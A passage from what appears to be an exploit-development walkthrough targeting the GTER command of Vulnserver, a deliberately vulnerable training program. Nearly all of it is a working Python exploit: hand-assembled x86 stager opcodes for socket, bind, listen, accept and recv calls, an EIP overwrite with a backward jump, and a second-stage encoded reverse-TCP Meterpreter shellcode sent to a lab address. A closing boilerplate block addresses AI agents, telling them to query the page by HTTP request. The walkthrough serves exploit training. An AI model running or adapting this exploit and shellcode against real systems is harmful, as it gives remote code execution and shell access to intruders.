	# INSTRUCTIONS TO ADJUST ESP
	adjust_esp  = "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP
	adjust_esp += "\x83\xEC\x50" # SUB ESP,50 # for moving away from EIP

	# INSTRUCTIONS FOR SOCKET CALL
	socket_call  = "\x31\xc0"                 # XOR EAX,EAX
	socket_call += "\xB0\x06"                 # MOV AL,6
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\xB0\x01"                 # MOV AL,1
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\x40"                     # INC EAX
	socket_call += "\x50"                     # PUSH EAX
	socket_call += "\xBB\x77\x7C\x25\x40"     # MOV EBX,40257C77 
	socket_call += "\xC1\xEB\x08"             # SHR EBX,8
	socket_call += "\xFF\xD3"                 # CALL EBX
	socket_call += "\x8B\xF8"                 # MOV EDI,EAX

	# INSTRUCTIONS FOR BIND CALL
	bind_call = "\x31\xC0"              # XOR EAX,EAX
	bind_call += "\x50"                 # PUSH EAX
	bind_call += "\x50"                 # PUSH EAX
	bind_call += "\xba\x02\xff\x1a\x0a" # mov edx,0xa1aff02
	bind_call += "\x30\xf6" 			# xor dx
	bind_call += "\x54"                 # push esp
	bind_call += "\x59"                 # pop ecx
	bind_call += "\x6A\x16"             # PUSH 16 # socket 
	bind_call += "\x89\x11"             # mov DWORD PTR [ecx],edx
	bind_call += "\x51"                 # PUSH ECX
	bind_call += "\xB3\x64"             # MOV BL,64 # Add to ebx to make it equal to the call bind function which is at address 00402564
	bind_call += "\x57"                 # PUSH EDI
	bind_call += "\xFF\xD3"             # CALL EBX

	# INSTRUCTIONS FOR LISTEN CALL
	listen_call  = "\xB3\x54"
	listen_call += "\x6A\x7F"
	listen_call += "\x57"
	listen_call += "\xFF\xD3"

	# INSTRUCTIONS FOR ACCEPT CALL
	accept_call  = "\x50"      # PUSH EAX
	accept_call += "\x50"      # PUSH EAX
	accept_call += "\x57"      # PUSH EDI
	accept_call += "\xB3\x4C" # MOV BL,4C
	accept_call += "\xFF\xD3"  # CALL EBX

	# INSTRUCTIONS FOR RECV CALL
	recv_call =  "\x8B\xF8"          # MOV EDI,EAX
	recv_call += "\x33\xC0"          # XOR EAX,EAX
	recv_call += "\x50"              # PUSH EAX
	recv_call += "\xB4\x02"          # MOV AH,2
	recv_call += "\x50"              # PUSH EAX
	recv_call += "\x54"              # PUSH ESP onto the stack
	recv_call += "\x59"              # POP ESP into ECX
	recv_call += "\x66\x83\xC1\x48"  # add cx,byte +0x48
	recv_call += "\x66\x83\xC1\x49"  # add cx,byte +0x49
	recv_call += "\x51"              # PUSH ECX onto the stack
	recv_call += "\x57"              # PUSH EDI
	recv_call += "\xB3\x2C"          # MOV BL,2C
	recv_call += "\xFF\xD3"          # CALL EBX


	# MAIN PAYLOAD INSTRUCTIONS
	payload = "GTER /.:/"
	payload += adjust_esp  
	payload += socket_call 					  # Call socket_call 
	payload += bind_call					  # Call bind_call 
	payload += listen_call					  # Call listen_call 
	payload += accept_call					  # Call accept_call
	payload += recv_call
	payload += "A" * (147 - len(adjust_esp) - len(socket_call) - len(bind_call) - len(listen_call) - len(accept_call) - len(recv_call)) # Junk
	payload += struct.pack("<I",0x625011AF)   # Overwrite EIP
	payload += "\xe9\x64\xff\xff\xff"         # Negative jump back to the start of our A buffer
	payload += "D" * (5990 - len(payload))    # Junk
	
	return payload
	


# Function Containing Reverse TCP Shell
def second_payload():
	shellcode =  b""
	shellcode += b"\xda\xd3\xba\x49\xd7\x15\x12\xd9\x74\x24\xf4"
	shellcode += b"\x5f\x29\xc9\xb1\x56\x31\x57\x18\x03\x57\x18"
	shellcode += b"\x83\xef\xb5\x35\xe0\xee\xad\x38\x0b\x0f\x2d"
	shellcode += b"\x5d\x85\xea\x1c\x5d\xf1\x7f\x0e\x6d\x71\x2d"
	shellcode += b"\xa2\x06\xd7\xc6\x31\x6a\xf0\xe9\xf2\xc1\x26"
	shellcode += b"\xc7\x03\x79\x1a\x46\x87\x80\x4f\xa8\xb6\x4a"
	shellcode += b"\x82\xa9\xff\xb7\x6f\xfb\xa8\xbc\xc2\xec\xdd"
	shellcode += b"\x89\xde\x87\xad\x1c\x67\x7b\x65\x1e\x46\x2a"
	shellcode += b"\xfe\x79\x48\xcc\xd3\xf1\xc1\xd6\x30\x3f\x9b"
	shellcode += b"\x6d\x82\xcb\x1a\xa4\xdb\x34\xb0\x89\xd4\xc6"
	shellcode += b"\xc8\xce\xd2\x38\xbf\x26\x21\xc4\xb8\xfc\x58"
	shellcode += b"\x12\x4c\xe7\xfa\xd1\xf6\xc3\xfb\x36\x60\x87"
	shellcode += b"\xf7\xf3\xe6\xcf\x1b\x05\x2a\x64\x27\x8e\xcd"
	shellcode += b"\xab\xae\xd4\xe9\x6f\xeb\x8f\x90\x36\x51\x61"
	shellcode += b"\xac\x29\x3a\xde\x08\x21\xd6\x0b\x21\x68\xbe"
	shellcode += b"\xf8\x08\x93\x3e\x97\x1b\xe0\x0c\x38\xb0\x6e"
	shellcode += b"\x3c\xb1\x1e\x68\x35\xd5\xa0\xa6\xfd\xb6\x5e"
	shellcode += b"\x47\xfd\x9f\xa4\x13\xad\xb7\x0d\x1c\x26\x48"
	shellcode += b"\xb1\xc9\xd2\x42\x25\x32\x8a\x3e\x35\xda\xc8"
	shellcode += b"\xc0\x31\xc9\x45\x26\x69\xbd\x05\xf7\xca\x6d"
	shellcode += b"\xe5\xa7\xa2\x67\xea\x98\xd3\x87\x21\xb1\x7e"
	shellcode += b"\x68\x9f\xe9\x16\x11\xba\x62\x86\xde\x11\x0f"
	shellcode += b"\x88\x55\x93\xef\x47\x9e\xd6\xe3\xb0\xf9\x18"
	shellcode += b"\xfc\x40\x6c\x18\x96\x44\x26\x4f\x0e\x47\x1f"
	shellcode += b"\xa7\x91\xb8\x4a\xb4\xd6\x47\x0b\x8c\xad\x7e"
	shellcode += b"\x99\xb0\xd9\x7e\x4d\x30\x1a\x29\x07\x30\x72"
	shellcode += b"\x8d\x73\x63\x67\xd2\xa9\x10\x34\x47\x52\x40"
	shellcode += b"\xe8\xc0\x3a\x6e\xd7\x27\xe5\x91\x32\x34\xe2"
	shellcode += b"\x6d\xc0\x13\x4b\x05\x3a\x24\x6b\xd5\x50\xa4"
	shellcode += b"\x3b\xbd\xaf\x8b\xb4\x0d\x4f\x06\x9d\x05\xda"
	shellcode += b"\xc7\x6f\xb4\xdb\xcd\x2e\x68\xdb\xe2\xea\x9b"
	shellcode += b"\xa6\x8b\x0d\x5c\x57\x82\x69\x5d\x57\xaa\x8f"
	shellcode += b"\x62\x81\x93\xe5\xa5\x11\xa0\xf6\x90\x34\x81"
	shellcode += b"\x9c\xda\x6b\xd1\xb4"
	return shellcode

	

TCP_IP = '192.168.109.129'
TCP_PORT = 9999

# send first payload
print("Sending First Payload")
payload = first_payload()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()	
print("Sent!")
sleep(3)

# send second payload
print("Sending Second Payload")
payload = second_payload()
TCP_PORT = 6666
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(payload)
s.close()
print("Sent!")
```

![Figure 51 - Successfully Exectued Meterpreter Payload](/files/-M-sNkycTz9GukiruqFr)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://zflemingg1.gitbook.io/undergrad-tutorials/walkthroughs-osce/vulnserver-gter-command.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
